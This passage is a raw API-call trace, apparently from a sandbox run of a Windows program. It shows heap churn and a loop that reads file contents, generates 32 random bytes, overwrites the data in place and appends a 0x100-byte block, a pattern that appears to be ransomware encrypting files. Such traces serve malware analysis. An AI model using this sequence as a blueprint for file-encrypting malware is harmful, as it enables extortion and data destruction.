Size=0x80) returned 0x5a1f70 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.879] GetProcessHeap () returned 0x540000 [0081.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.880] GetProcessHeap () returned 0x540000 [0081.880] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.881] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.881] WriteFile (in: hFile=0x810, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.881] WriteFile (in: hFile=0x810, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.881] GetProcessHeap () returned 0x540000 [0081.881] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.881] CloseHandle (hObject=0x810) returned 1 [0081.882] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 37 [0081.882] SetFilePointerEx (in: hFile=0x7fc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.882] ReadFile (in: hFile=0x7fc, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.882] SetFilePointerEx (in: hFile=0x7fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.882] GetProcessHeap () returned 0x540000 [0081.882] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.882] GetProcessHeap () returned 0x540000 [0081.882] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.882] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.882] GetProcessHeap () returned 0x540000 [0081.882] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.882] ReadFile (in: hFile=0x7fc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x496, lpOverlapped=0x0) returned 1 [0081.907] SetFilePointerEx (in: hFile=0x7fc, liDistanceToMove=0xfffffb6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.907] WriteFile (in: hFile=0x7fc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x496, lpOverlapped=0x0) returned 1 [0081.907] GetProcessHeap () returned 0x540000 [0081.907] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.907] GetProcessHeap () returned 0x540000 [0081.907] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.907] GetProcessHeap () returned 0x540000 [0081.907] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.907] GetProcessHeap () returned 0x540000 [0081.907] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.907] GetProcessHeap () returned 0x540000 [0081.907] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.907] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.908] GetProcessHeap () returned 0x540000 [0081.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.909] GetProcessHeap () returned 0x540000 [0081.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.910] GetProcessHeap () returned 0x540000 [0081.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.911] GetProcessHeap () returned 0x540000 [0081.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.911] GetProcessHeap () returned 0x540000 [0081.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.912] SetFilePointerEx (in: hFile=0x7fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.912] WriteFile (in: hFile=0x7fc, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.912] WriteFile (in: hFile=0x7fc, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.912] GetProcessHeap () returned 0x540000 [0081.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.912] CloseHandle (hObject=0x7fc) returned 1 [0081.913] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 38 [0081.913] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.913] ReadFile (in: hFile=0x818, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.913] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.914] GetProcessHeap () returned 0x540000 [0081.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.914] GetProcessHeap () returned 0x540000 [0081.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.914] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.914] GetProcessHeap () returned 0x540000 [0081.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.914] ReadFile (in: hFile=0x818, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.011] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.011] WriteFile (in: hFile=0x818, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.011] GetProcessHeap () returned 0x540000 [0082.011] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.011] GetProcessHeap () returned 0x540000 [0082.011] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.012] GetProcessHeap () returned 0x540000 [0082.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.012] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.013] 